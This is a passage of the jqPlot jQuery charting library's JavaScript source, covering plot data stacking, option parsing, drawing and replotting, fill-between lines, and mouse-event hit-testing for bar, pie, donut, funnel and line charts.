_plotData arrays for the plot and the series. this.populatePlotData = function(series, index) { // if a stacked chart, compute the stacked data this._plotData = []; this._stackData = []; series._stackData = []; series._plotData = []; var plotValues = {x:[], y:[]}; if (this.stackSeries && !series.disableStack) { series._stack = true; var sidx = (series._stackAxis === 'x') ? 0 : 1; // var idx = sidx ? 0 : 1; // push the current data into stackData //this._stackData.push(this.series[i].data); var temp = $.extend(true, [], series.data); // create the data that will be plotted for this series var plotdata = $.extend(true, [], series.data); var tempx, tempy, dval, stackval, comparator; // for first series, nothing to add to stackData. for (var j=0; j<index; j++) { var cd = this.series[j].data; for (var k=0; k<cd.length; k++) { dval = cd[k]; tempx = (dval[0] != null) ? dval[0] : 0; tempy = (dval[1] != null) ? dval[1] : 0; temp[k][0] += tempx; temp[k][1] += tempy; stackval = (sidx) ? tempy : tempx; // only need to sum up the stack axis column of data // and only sum if it is of same sign. if (series.data[k][sidx] * stackval >= 0) { plotdata[k][sidx] += stackval; } } } for (var i=0; i<plotdata.length; i++) { plotValues.x.push(plotdata[i][0]); plotValues.y.push(plotdata[i][1]); } this._plotData.push(plotdata); this._stackData.push(temp); series._stackData = temp; series._plotData = plotdata; series._plotValues = plotValues; } else { for (var i=0; i<series.data.length; i++) { plotValues.x.push(series.data[i][0]); plotValues.y.push(series.data[i][1]); } this._stackData.push(series.data); this.series[index]._stackData = series.data; this._plotData.push(series.data); series._plotData = series.data; series._plotValues = plotValues; } if (index>0) { series._prevPlotData = this.series[index-1]._plotData; } series._sumy = 0; series._sumx = 0; for (i=series.data.length-1; i>-1; i--) { series._sumy += series.data[i][1]; series._sumx += series.data[i][0]; } }; // function to safely return colors from the color array and wrap around at the end. this.getNextSeriesColor = (function(t) { var idx = 0; var sc = t.seriesColors; return function () { if (idx < sc.length) { return sc[idx++]; } else { idx = 0; return sc[idx++]; } }; })(this); this.parseOptions = function(options){ for (var i=0; i<this.preParseOptionsHooks.hooks.length; i++) { this.preParseOptionsHooks.hooks[i].call(this, options); } for (var i=0; i<$.jqplot.preParseOptionsHooks.length; i++) { $.jqplot.preParseOptionsHooks[i].call(this, options); } this.options = $.extend(true, {}, this.defaults, options); var opts = this.options; this.animate = opts.animate; this.animateReplot = opts.animateReplot; this.stackSeries = opts.stackSeries; if ($.isPlainObject(opts.fillBetween)) { var temp = ['series1', 'series2', 'color', 'baseSeries', 'fill'], tempi; for (var i=0, l=temp.length; i<l; i++) { tempi = temp[i]; if (opts.fillBetween[tempi] != null) { this.fillBetween[tempi] = opts.fillBetween[tempi]; } } } if (opts.seriesColors) { this.seriesColors = opts.seriesColors; } if (opts.negativeSeriesColors) { this.negativeSeriesColors = opts.negativeSeriesColors; } if (opts.captureRightClick) { this.captureRightClick = opts.captureRightClick; } this.defaultAxisStart = (options && options.defaultAxisStart != null) ? options.defaultAxisStart : this.defaultAxisStart; this.colorGenerator.setColors(this.seriesColors); this.negativeColorGenerator.setColors(this.negativeSeriesColors); // var cg = new this.colorGenerator(this.seriesColors); // var ncg = new this.colorGenerator(this.negativeSeriesColors); // this._gridPadding = this.options.gridPadding; $.extend(true, this._gridPadding, opts.gridPadding); this.sortData = (opts.sortData != null) ? opts.sortData : this.sortData; for (var i=0; i<12; i++) { var n = _axisNames[i]; var axis = this.axes[n]; axis._options = $.extend(true, {}, opts.axesDefaults, opts.axes[n]); $.extend(true, axis, opts.axesDefaults, opts.axes[n]); axis._plotWidth = this._width; axis._plotHeight = this._height; } // if (this.data.length == 0) { // this.data = []; // for (var i=0; i<this.options.series.length; i++) { // this.data.push(this.options.series.data); // } // } var normalizeData = function(data, dir, start) { // return data as an array of point arrays, // in form [[x1,y1...], [x2,y2...], ...] var temp = []; var i, l; dir = dir || 'vertical'; if (!$.isArray(data[0])) { // we have a series of scalars. One line with just y values. // turn the scalar list of data into a data array of form: // [[1, data[0]], [2, data[1]], ...] for (i=0, l=data.length; i<l; i++) { if (dir == 'vertical') { temp.push([start + i, data[i]]); } else { temp.push([data[i], start+i]); } } } else { // we have a properly formatted data series, copy it. $.extend(true, temp, data); } return temp; }; var colorIndex = 0; this.series = []; for (var i=0; i<this.data.length; i++) { var sopts = $.extend(true, {index: i}, {seriesColors:this.seriesColors, negativeSeriesColors:this.negativeSeriesColors}, this.options.seriesDefaults, this.options.series[i], {rendererOptions:{animation:{show: this.animate}}}); // pass in options in case something needs set prior to initialization. var temp = new Series(sopts); for (var j=0; j<$.jqplot.preParseSeriesOptionsHooks.length; j++) { $.jqplot.preParseSeriesOptionsHooks[j].call(temp, this.options.seriesDefaults, this.options.series[i]); } for (var j=0; j<this.preParseSeriesOptionsHooks.hooks.length; j++) { this.preParseSeriesOptionsHooks.hooks[j].call(temp, this.options.seriesDefaults, this.options.series[i]); } // Now go back and apply the options to the series. Really should just do this during initializaiton, but don't want to // mess up preParseSeriesOptionsHooks at this point. $.extend(true, temp, sopts); var dir = 'vertical'; if (temp.renderer === $.jqplot.BarRenderer && temp.rendererOptions && temp.rendererOptions.barDirection == 'horizontal') { dir = 'horizontal'; temp._stackAxis = 'x'; temp._primaryAxis = '_yaxis'; } temp.data = normalizeData(this.data[i], dir, this.defaultAxisStart); switch (temp.xaxis) { case 'xaxis': temp._xaxis = this.axes.xaxis; break; case 'x2axis': temp._xaxis = this.axes.x2axis; break; default: break; } temp._yaxis = this.axes[temp.yaxis]; temp._xaxis._series.push(temp); temp._yaxis._series.push(temp); if (temp.show) { temp._xaxis.show = true; temp._yaxis.show = true; } else { if (temp._xaxis.scaleToHiddenSeries) { temp._xaxis.show = true; } if (temp._yaxis.scaleToHiddenSeries) { temp._yaxis.show = true; } } // // parse the renderer options and apply default colors if not provided // if (!temp.color && temp.show != false) { // temp.color = cg.next(); // colorIndex = cg.getIndex() - 1;; // } // if (!temp.negativeColor && temp.show != false) { // temp.negativeColor = ncg.get(colorIndex); // ncg.setIndex(colorIndex); // } if (!temp.label) { temp.label = 'Series '+ (i+1).toString(); } // temp.rendererOptions.show = temp.show; // $.extend(true, temp.renderer, {color:this.seriesColors[i]}, this.rendererOptions); this.series.push(temp); for (var j=0; j<$.jqplot.postParseSeriesOptionsHooks.length; j++) { $.jqplot.postParseSeriesOptionsHooks[j].call(this.series[i], this.options.seriesDefaults, this.options.series[i]); } for (var j=0; j<this.postParseSeriesOptionsHooks.hooks.length; j++) { this.postParseSeriesOptionsHooks.hooks[j].call(this.series[i], this.options.seriesDefaults, this.options.series[i]); } } // copy the grid and title options into this object. $.extend(true, this.grid, this.options.grid); // if axis border properties aren't set, set default. for (var i=0, l=_axisNames.length; i<l; i++) { var n = _axisNames[i]; var axis = this.axes[n]; if (axis.borderWidth == null) { axis.borderWidth =this.grid.borderWidth; } } if (typeof this.options.title == 'string') { this.title.text = this.options.title; } else if (typeof this.options.title == 'object') { $.extend(true, this.title, this.options.title); } this.title._plotWidth = this._width; this.legend.setOptions(this.options.legend); for (var i=0; i<$.jqplot.postParseOptionsHooks.length; i++) { $.jqplot.postParseOptionsHooks[i].call(this, options); } for (var i=0; i<this.postParseOptionsHooks.hooks.length; i++) { this.postParseOptionsHooks.hooks[i].call(this, options); } }; // method: destroy // Releases all resources occupied by the plot this.destroy = function() { this.canvasManager.freeAllCanvases(); if (this.eventCanvas && this.eventCanvas._elem) { this.eventCanvas._elem.unbind(); } // Couple of posts on Stack Overflow indicate that empty() doesn't // always cear up the dom and release memory. Sometimes setting // innerHTML property to null is needed. Particularly on IE, may // have to directly set it to null, bypassing $. this.target.empty(); this.target[0].innerHTML = ''; }; // method: replot // Does a reinitialization of the plot followed by // a redraw. Method could be used to interactively // change plot characteristics and then replot. // // Parameters: // options - Options used for replotting. // // Properties: // clear - false to not clear (empty) the plot container before replotting (default: true). // resetAxes - true to reset all axes min, max, numberTicks and tickInterval setting so axes will rescale themselves. // optionally pass in list of axes to reset (e.g. ['xaxis', 'y2axis']) (default: false). this.replot = function(options) { var opts = options || {}; var data = opts.data || null; var clear = (opts.clear === false) ? false : true; var resetAxes = opts.resetAxes || false; delete opts.data; delete opts.clear; delete opts.resetAxes; this.target.trigger('jqplotPreReplot'); if (clear) { this.destroy(); } // if have data or other options, full reinit. // otherwise, quickinit. if (data || !$.isEmptyObject(opts)) { this.reInitialize(data, opts); } else { this.quickInit(); } if (resetAxes) { this.resetAxesScale(resetAxes, opts.axes); } this.draw(); this.target.trigger('jqplotPostReplot'); }; // method: redraw // Empties the plot target div and redraws the plot. // This enables plot data and properties to be changed // and then to comletely clear the plot and redraw. // redraw *will not* reinitialize any plot elements. // That is, axes will not be autoscaled and defaults // will not be reapplied to any plot elements. redraw // is used primarily with zooming. // // Parameters: // clear - false to not clear (empty) the plot container before redrawing (default: true). this.redraw = function(clear) { clear = (clear != null) ? clear : true; this.target.trigger('jqplotPreRedraw'); if (clear) { this.canvasManager.freeAllCanvases(); this.eventCanvas._elem.unbind(); // Dont think I bind any events to the target, this shouldn't be necessary. // It will remove user's events. // this.target.unbind(); this.target.empty(); } for (var ax in this.axes) { this.axes[ax]._ticks = []; } this.computePlotData(); // for (var i=0; i<this.series.length; i++) { // this.populatePlotData(this.series[i], i); // } this._sumy = 0; this._sumx = 0; for (var i=0, tsl = this.series.length; i<tsl; i++) { this._sumy += this.series[i]._sumy; this._sumx += this.series[i]._sumx; } this.draw(); this.target.trigger('jqplotPostRedraw'); }; // method: draw // Draws all elements of the plot into the container. // Does not clear the container before drawing. this.draw = function(){ if (this.drawIfHidden || this.target.is(':visible')) { this.target.trigger('jqplotPreDraw'); var i, j, l, tempseries; for (i=0, l=$.jqplot.preDrawHooks.length; i<l; i++) { $.jqplot.preDrawHooks[i].call(this); } for (i=0, l=this.preDrawHooks.hooks.length; i<l; i++) { this.preDrawHooks.hooks[i].apply(this, this.preDrawSeriesHooks.args[i]); } // create an underlying canvas to be used for special features. this.target.append(this.baseCanvas.createElement({left:0, right:0, top:0, bottom:0}, 'jqplot-base-canvas', null, this)); this.baseCanvas.setContext(); this.target.append(this.title.draw()); this.title.pack({top:0, left:0}); // make room for the legend between the grid and the edge. // pass a dummy offsets object and a reference to the plot. var legendElem = this.legend.draw({}, this); var gridPadding = {top:0, left:0, bottom:0, right:0}; if (this.legend.placement == "outsideGrid") { // temporarily append the legend to get dimensions this.target.append(legendElem); switch (this.legend.location) { case 'n': gridPadding.top += this.legend.getHeight(); break; case 's': gridPadding.bottom += this.legend.getHeight(); break; case 'ne': case 'e': case 'se': gridPadding.right += this.legend.getWidth(); break; case 'nw': case 'w': case 'sw': gridPadding.left += this.legend.getWidth(); break; default: // same as 'ne' gridPadding.right += this.legend.getWidth(); break; } legendElem = legendElem.detach(); } var ax = this.axes; var name; // draw the yMidAxis first, so xaxis of pyramid chart can adjust itself if needed. for (i=0; i<12; i++) { name = _axisNames[i]; this.target.append(ax[name].draw(this.baseCanvas._ctx, this)); ax[name].set(); } if (ax.yaxis.show) { gridPadding.left += ax.yaxis.getWidth(); } var ra = ['y2axis', 'y3axis', 'y4axis', 'y5axis', 'y6axis', 'y7axis', 'y8axis', 'y9axis']; var rapad = [0, 0, 0, 0, 0, 0, 0, 0]; var gpr = 0; var n; for (n=0; n<8; n++) { if (ax[ra[n]].show) { gpr += ax[ra[n]].getWidth(); rapad[n] = gpr; } } gridPadding.right += gpr; if (ax.x2axis.show) { gridPadding.top += ax.x2axis.getHeight(); } if (this.title.show) { gridPadding.top += this.title.getHeight(); } if (ax.xaxis.show) { gridPadding.bottom += ax.xaxis.getHeight(); } // end of gridPadding adjustments. // if user passed in gridDimensions option, check against calculated gridPadding if (this.options.gridDimensions && $.isPlainObject(this.options.gridDimensions)) { var gdw = parseInt(this.options.gridDimensions.width, 10) || 0; var gdh = parseInt(this.options.gridDimensions.height, 10) || 0; var widthAdj = (this._width - gridPadding.left - gridPadding.right - gdw)/2; var heightAdj = (this._height - gridPadding.top - gridPadding.bottom - gdh)/2; if (heightAdj >= 0 && widthAdj >= 0) { gridPadding.top += heightAdj; gridPadding.bottom += heightAdj; gridPadding.left += widthAdj; gridPadding.right += widthAdj; } } var arr = ['top', 'bottom', 'left', 'right']; for (var n in arr) { if (this._gridPadding[arr[n]] == null && gridPadding[arr[n]] > 0) { this._gridPadding[arr[n]] = gridPadding[arr[n]]; } else if (this._gridPadding[arr[n]] == null) { this._gridPadding[arr[n]] = this._defaultGridPadding[arr[n]]; } } var legendPadding = this._gridPadding; if (this.legend.placement === 'outsideGrid') { legendPadding = {top:this.title.getHeight(), left: 0, right: 0, bottom: 0}; if (this.legend.location === 's') { legendPadding.left = this._gridPadding.left; legendPadding.right = this._gridPadding.right; } } ax.xaxis.pack({position:'absolute', bottom:this._gridPadding.bottom - ax.xaxis.getHeight(), left:0, width:this._width}, {min:this._gridPadding.left, max:this._width - this._gridPadding.right}); ax.yaxis.pack({position:'absolute', top:0, left:this._gridPadding.left - ax.yaxis.getWidth(), height:this._height}, {min:this._height - this._gridPadding.bottom, max: this._gridPadding.top}); ax.x2axis.pack({position:'absolute', top:this._gridPadding.top - ax.x2axis.getHeight(), left:0, width:this._width}, {min:this._gridPadding.left, max:this._width - this._gridPadding.right}); for (i=8; i>0; i--) { ax[ra[i-1]].pack({position:'absolute', top:0, right:this._gridPadding.right - rapad[i-1]}, {min:this._height - this._gridPadding.bottom, max: this._gridPadding.top}); } var ltemp = (this._width - this._gridPadding.left - this._gridPadding.right)/2.0 + this._gridPadding.left - ax.yMidAxis.getWidth()/2.0; ax.yMidAxis.pack({position:'absolute', top:0, left:ltemp, zIndex:9, textAlign: 'center'}, {min:this._height - this._gridPadding.bottom, max: this._gridPadding.top}); this.target.append(this.grid.createElement(this._gridPadding, this)); this.grid.draw(); var series = this.series; var seriesLength = series.length; // put the shadow canvases behind the series canvases so shadows don't overlap on stacked bars. for (i=0, l=seriesLength; i<l; i++) { // draw series in order of stacking. This affects only // order in which canvases are added to dom. j = this.seriesStack[i]; this.target.append(series[j].shadowCanvas.createElement(this._gridPadding, 'jqplot-series-shadowCanvas', null, this)); series[j].shadowCanvas.setContext(); series[j].shadowCanvas._elem.data('seriesIndex', j); } for (i=0, l=seriesLength; i<l; i++) { // draw series in order of stacking. This affects only // order in which canvases are added to dom. j = this.seriesStack[i]; this.target.append(series[j].canvas.createElement(this._gridPadding, 'jqplot-series-canvas', null, this)); series[j].canvas.setContext(); series[j].canvas._elem.data('seriesIndex', j); } // Need to use filled canvas to capture events in IE. // Also, canvas seems to block selection of other elements in document on FF. this.target.append(this.eventCanvas.createElement(this._gridPadding, 'jqplot-event-canvas', null, this)); this.eventCanvas.setContext(); this.eventCanvas._ctx.fillStyle = 'rgba(0,0,0,0)'; this.eventCanvas._ctx.fillRect(0,0,this.eventCanvas._ctx.canvas.width, this.eventCanvas._ctx.canvas.height); // bind custom event handlers to regular events. this.bindCustomEvents(); // draw legend before series if the series needs to know the legend dimensions. if (this.legend.preDraw) { this.eventCanvas._elem.before(legendElem); this.legend.pack(legendPadding); if (this.legend._elem) { this.drawSeries({legendInfo:{location:this.legend.location, placement:this.legend.placement, width:this.legend.getWidth(), height:this.legend.getHeight(), xoffset:this.legend.xoffset, yoffset:this.legend.yoffset}}); } else { this.drawSeries(); } } else { // draw series before legend this.drawSeries(); if (seriesLength) { $(series[seriesLength-1].canvas._elem).after(legendElem); } this.legend.pack(legendPadding); } // register event listeners on the overlay canvas for (var i=0, l=$.jqplot.eventListenerHooks.length; i<l; i++) { // in the handler, this will refer to the eventCanvas dom element. // make sure there are references back into plot objects. this.eventCanvas._elem.bind($.jqplot.eventListenerHooks[i][0], {plot:this}, $.jqplot.eventListenerHooks[i][1]); } // register event listeners on the overlay canvas for (var i=0, l=this.eventListenerHooks.hooks.length; i<l; i++) { // in the handler, this will refer to the eventCanvas dom element. // make sure there are references back into plot objects. this.eventCanvas._elem.bind(this.eventListenerHooks.hooks[i][0], {plot:this}, this.eventListenerHooks.hooks[i][1]); } var fb = this.fillBetween; if(typeof fb.series1 == 'number'){ if(fb.fill&&fb.series1!==fb.series2&&fb.series1<seriesLength&&fb.series2<seriesLength&&series[fb.series1]._type==="line"&&series[fb.series2]._type==="line") this.doFillBetweenLines(); } else{ if(fb.series1 != null && fb.series2 != null){ var doFb = false; if(fb.series1.length === fb.series2.length){ var tempSeries1 = 0; var tempSeries2 = 0; for(var cnt = 0; cnt < fb.series1.length; cnt++){ tempSeries1 = fb.series1[cnt]; tempSeries2 = fb.series2[cnt]; if(tempSeries1!==tempSeries2&&tempSeries1<seriesLength&&tempSeries2<seriesLength&&series[tempSeries1]._type==="line"&&series[tempSeries2]._type==="line"){ doFb = true; } else{ doFb = false; break; } } } if(fb.fill && doFb){ this.doFillBetweenLines(); } } } for (var i=0, l=$.jqplot.postDrawHooks.length; i<l; i++) { $.jqplot.postDrawHooks[i].call(this); } for (var i=0, l=this.postDrawHooks.hooks.length; i<l; i++) { this.postDrawHooks.hooks[i].apply(this, this.postDrawHooks.args[i]); } if (this.target.is(':visible')) { this._drawCount += 1; } var temps, tempr, sel, _els; // ughh. ideally would hide all series then show them. for (i=0, l=seriesLength; i<l; i++) { temps = series[i]; tempr = temps.renderer; sel = '.jqplot-point-label.jqplot-series-'+i; if (tempr.animation && tempr.animation._supported && tempr.animation.show && (this._drawCount < 2 || this.animateReplot)) { _els = this.target.find(sel); _els.stop(true, true).hide(); temps.canvas._elem.stop(true, true).hide(); temps.shadowCanvas._elem.stop(true, true).hide(); temps.canvas._elem.jqplotEffect('blind', {mode: 'show', direction: tempr.animation.direction}, tempr.animation.speed); temps.shadowCanvas._elem.jqplotEffect('blind', {mode: 'show', direction: tempr.animation.direction}, tempr.animation.speed); _els.fadeIn(tempr.animation.speed*0.8); } } _els = null; this.target.trigger('jqplotPostDraw', [this]); } }; jqPlot.prototype.doFillBetweenLines = function () { var fb = this.fillBetween; var series = this.series; var sid1 = fb.series1; var sid2 = fb.series2; var id1 = 0, id2 = 0; function fill(id1, id2){ var series1 = series[id1]; var series2 = series[id2]; if (series2.renderer.smooth) var tempgd = series2.renderer._smoothedData.slice(0).reverse(); else var tempgd = series2.gridData.slice(0).reverse(); if (series1.renderer.smooth) var gd = series1.renderer._smoothedData.concat(tempgd); else var gd = series1.gridData.concat(tempgd); var color = fb.color !== null ? fb.color : series[sid1].fillColor; var baseSeries = fb.baseSeries !== null ? fb.baseSeries : id1; var sr = series[baseSeries].renderer.shapeRenderer; var opts = { fillStyle : color, fill : true, closePath : true }; sr.draw(series1.shadowCanvas._ctx, gd, opts) } if(typeof sid1 == 'number' && typeof sid2 == 'number'){ id1 = sid1 < sid2 ? sid1 : sid2; id2 = sid2 > sid1 ? sid2 : sid1; fill(id1, id2); } else{ for(var cnt = 0; cnt < sid1.length ; cnt++){ id1 = sid1[cnt] < sid2[cnt] ? sid1[cnt] : sid2[cnt]; id2 = sid2[cnt] > sid1[cnt] ? sid2[cnt] : sid1[cnt]; fill(id1, id2); } } }; this.bindCustomEvents = function() { this.eventCanvas._elem.bind('click', {plot:this}, this.onClick); this.eventCanvas._elem.bind('dblclick', {plot:this}, this.onDblClick); this.eventCanvas._elem.bind('mousedown', {plot:this}, this.onMouseDown); this.eventCanvas._elem.bind('mousemove', {plot:this}, this.onMouseMove); this.eventCanvas._elem.bind('mouseenter', {plot:this}, this.onMouseEnter); this.eventCanvas._elem.bind('mouseleave', {plot:this}, this.onMouseLeave); if (this.captureRightClick) { this.eventCanvas._elem.bind('mouseup', {plot:this}, this.onRightClick); this.eventCanvas._elem.get(0).oncontextmenu = function() { return false; }; } else { this.eventCanvas._elem.bind('mouseup', {plot:this}, this.onMouseUp); } }; function getEventPosition(ev) { var plot = ev.data.plot; var go = plot.eventCanvas._elem.offset(); var gridPos = {x:ev.pageX - go.left, y:ev.pageY - go.top}; var dataPos = {xaxis:null, yaxis:null, x2axis:null, y2axis:null, y3axis:null, y4axis:null, y5axis:null, y6axis:null, y7axis:null, y8axis:null, y9axis:null, yMidAxis:null}; var an = ['xaxis', 'yaxis', 'x2axis', 'y2axis', 'y3axis', 'y4axis', 'y5axis', 'y6axis', 'y7axis', 'y8axis', 'y9axis', 'yMidAxis']; var ax = plot.axes; var n, axis; for (n=11; n>0; n--) { axis = an[n-1]; if (ax[axis].show) { dataPos[axis] = ax[axis].series_p2u(gridPos[axis.charAt(0)]); } } return {offsets:go, gridPos:gridPos, dataPos:dataPos}; } // function to check if event location is over a area area function checkIntersection(gridpos, plot) { var series = plot.series; var i, j, k, s, r, x, y, theta, sm, sa, minang, maxang; var d0, d, p, pp, points, bw, hp; var threshold, t; for (k=plot.seriesStack.length-1; k>=0; k--) { i = plot.seriesStack[k]; s = series[i]; hp = s._highlightThreshold; switch (s.renderer.constructor) { case $.jqplot.BarRenderer: x = gridpos.x; y = gridpos.y; for (j=0; j<s._barPoints.length; j++) { points = s._barPoints[j]; p = s.gridData[j]; if (x>points[0][0] && x<points[2][0] && (y>points[2][1] && y<points[0][1] || y<points[2][1] && y>points[0][1])) { return {seriesIndex:s.index, pointIndex:j, gridData:p, data:s.data[j], points:s._barPoints[j]}; } } break; case $.jqplot.PyramidRenderer: x = gridpos.x; y = gridpos.y; for (j=0; j<s._barPoints.length; j++) { points = s._barPoints[j]; p = s.gridData[j]; if (x > points[0][0] + hp[0][0] && x < points[2][0] + hp[2][0] && y > points[2][1] && y < points[0][1]) { return {seriesIndex:s.index, pointIndex:j, gridData:p, data:s.data[j], points:s._barPoints[j]}; } } break; case $.jqplot.DonutRenderer: sa = s.startAngle/180*Math.PI; x = gridpos.x - s._center[0]; y = gridpos.y - s._center[1]; r = Math.sqrt(Math.pow(x, 2) + Math.pow(y, 2)); if (x > 0 && -y >= 0) { theta = 2*Math.PI - Math.atan(-y/x); } else if (x > 0 && -y < 0) { theta = -Math.atan(-y/x); } else if (x < 0) { theta = Math.PI - Math.atan(-y/x); } else if (x == 0 && -y > 0) { theta = 3*Math.PI/2; } else if (x == 0 && -y < 0) { theta = Math.PI/2; } else if (x == 0 && y == 0) { theta = 0; } if (sa) { theta -= sa; if (theta < 0) { theta += 2*Math.PI; } else if (theta > 2*Math.PI) { theta -= 2*Math.PI; } } sm = s.sliceMargin/180*Math.PI; if (r < s._radius && r > s._innerRadius) { for (j=0; j<s.gridData.length; j++) { minang = (j>0) ? s.gridData[j-1][1]+sm : sm; maxang = s.gridData[j][1]; if (theta > minang && theta < maxang) { return {seriesIndex:s.index, pointIndex:j, gridData:[gridpos.x,gridpos.y], data:s.data[j]}; } } } break; case $.jqplot.PieRenderer: sa = s.startAngle/180*Math.PI; x = gridpos.x - s._center[0]; y = gridpos.y - s._center[1]; r = Math.sqrt(Math.pow(x, 2) + Math.pow(y, 2)); if (x > 0 && -y >= 0) { theta = 2*Math.PI - Math.atan(-y/x); } else if (x > 0 && -y < 0) { theta = -Math.atan(-y/x); } else if (x < 0) { theta = Math.PI - Math.atan(-y/x); } else if (x == 0 && -y > 0) { theta = 3*Math.PI/2; } else if (x == 0 && -y < 0) { theta = Math.PI/2; } else if (x == 0 && y == 0) { theta = 0; } if (sa) { theta -= sa; if (theta < 0) { theta += 2*Math.PI; } else if (theta > 2*Math.PI) { theta -= 2*Math.PI; } } sm = s.sliceMargin/180*Math.PI; if (r < s._radius) { for (j=0; j<s.gridData.length; j++) { minang = (j>0) ? s.gridData[j-1][1]+sm : sm; maxang = s.gridData[j][1]; if (theta > minang && theta < maxang) { return {seriesIndex:s.index, pointIndex:j, gridData:[gridpos.x,gridpos.y], data:s.data[j]}; } } } break; case $.jqplot.BubbleRenderer: x = gridpos.x; y = gridpos.y; var ret = null; if (s.show) { for (var j=0; j<s.gridData.length; j++) { p = s.gridData[j]; d = Math.sqrt( (x-p[0]) * (x-p[0]) + (y-p[1]) * (y-p[1]) ); if (d <= p[2] && (d <= d0 || d0 == null)) { d0 = d; ret = {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } if (ret != null) { return ret; } } break; case $.jqplot.FunnelRenderer: x = gridpos.x; y = gridpos.y; var v = s._vertices, vfirst = v[0], vlast = v[v.length-1], lex, rex, cv; // equations of right and left sides, returns x, y values given height of section (y value and 2 points) function findedge (l, p1 , p2) { var m = (p1[1] - p2[1])/(p1[0] - p2[0]); var b = p1[1] - m*p1[0]; var y = l + p1[1]; return [(y - b)/m, y]; } // check each section lex = findedge(y, vfirst[0], vlast[3]); rex = findedge(y, vfirst[1], vlast[2]); for (j=0; j<v.length; j++) { cv = v[j]; if (y >= cv[0][1] && y <= cv[3][1] && x >= lex[0] && x <= rex[0]) { return {seriesIndex:s.index, pointIndex:j, gridData:null, data:s.data[j]}; } } break; case $.jqplot.LineRenderer: x = gridpos.x; y = gridpos.y; r = s.renderer; if (s.show) { if ((s.fill || (s.renderer.bands.show && s.renderer.bands.fill)) && (!plot.plugins.highlighter || !plot.plugins.highlighter.show)) { // first check if it is in bounding box var inside = false; if (x>s._boundingBox[0][0] && x<s._boundingBox[1][0] && y>s._boundingBox[1][1] && y<s._boundingBox[0][1]) { // now check the crossing number var numPoints = s._areaPoints.length; var ii; var j = numPoints-1; for(var ii=0; ii < numPoints; ii++) { var vertex1 = [s._areaPoints[ii][0], s._areaPoints[ii][1]]; var vertex2 = [s._areaPoints[j][0], s._areaPoints[j][1]]; if (vertex1[1] < y && vertex2[1] >= y || vertex2[1] < y && vertex1[1] >= y) { if (vertex1[0] + (y - vertex1[1]) / (vertex2[1] - vertex1[1]) * (vertex2[0] - vertex1[0]) < x) { inside = !inside; } } j = ii; } } if (inside) { return {seriesIndex:i, pointIndex:null, gridData:s.gridData, data:s.data, points:s._areaPoints}; } break; } else { t = s.markerRenderer.size/2+s.neighborThreshold; threshold = (t > 0) ? t : 0; for (var j=0; j<s.gridData.length; j++) { p = s.gridData[j]; // neighbor looks different to OHLC chart. if (r.constructor == $.jqplot.OHLCRenderer) { if (r.candleStick) { var yp = s._yaxis.series_u2p; if (x >= p[0]-r._bodyWidth/2 && x <= p[0]+r._bodyWidth/2 && y >= yp(s.data[j][2]) && y <= yp(s.data[j][3])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } // if an open hi low close chart else if (!r.hlc){ var yp = s._yaxis.series_u2p; if (x >= p[0]-r._tickLength && x <= p[0]+r._tickLength && y >= yp(s.data[j][2]) && y <= yp(s.data[j][3])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } // a hi low close chart else { var yp = s._yaxis.series_u2p; if (x >= p[0]-r._tickLength && x <= p[0]+r._tickLength && y >= yp(s.data[j][1]) && y <= yp(s.data[j][2])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } } else if (p[0] != null && p[1] != null){ d = Math.sqrt( (x-p[0]) * (x-p[0]) + (y-p[1]) * (y-p[1]) ); if (d <= threshold && (d <= d0 || d0 == null)) { d0 = d; return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } } } } break; default: x = gridpos.x; y = gridpos.y; r = s.renderer; if (s.show) { t = s.markerRenderer.size/2+s.neighborThreshold; threshold = (t > 0) ? t : 0; for (var j=0; j<s.gridData.length; j++) { p = s.gridData[j]; // neighbor looks different to OHLC chart. if (r.constructor == $.jqplot.OHLCRenderer) { if (r.candleStick) { var yp = s._yaxis.series_u2p; if (x >= p[0]-r._bodyWidth/2 && x <= p[0]+r._bodyWidth/2 && y >= yp(s.data[j][2]) && y <= yp(s.data[j][3])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } // if an open hi low close chart else if (!r.hlc){ var yp = s._yaxis.series_u2p; if (x >= p[0]-r._tickLength && x <= p[0]+r._tickLength && y >= yp(s.data[j][2]) && y <= yp(s.data[j][3])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } // a hi low close chart else { var yp = s._yaxis.series_u2p; if (x >= p[0]-r._tickLength && x <= p[0]+r._tickLength && y >= yp(s.data[j][1]) && y <= yp(s.data[j][2])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } } else { d = Math.sqrt( (x-p[0]) * (x-p[0]) + (y-p[1]) * (y-p[1]) ); if (d <= threshold && (d <= d0 || d0 == null)) { d0 = d; return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } } } break; } } return null; } this.onClick = function(ev) { // Event passed in is normalized and will have data attribute. // Event passed out is unnormalized. var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); var evt = $.Event('jqplotClick'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); }; this.onDblClick = function(ev) { // Event passed in is normalized and will have data attribute. // Event passed out is unnormalized. var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); var evt = $.Event('jqplotDblClick'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); }; this.onMouseDown = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); var evt = $.Event('jqplotMouseDown'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); }; this.onMouseUp = function(ev) { var positions = getEventPosition(ev); var evt = $.Event('jqplotMouseUp'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, null, ev.data.plot]); }; this.onRightClick = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); if (p.captureRightClick) { if (ev.which == 3) { var evt = $.Event('jqplotRightClick'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, 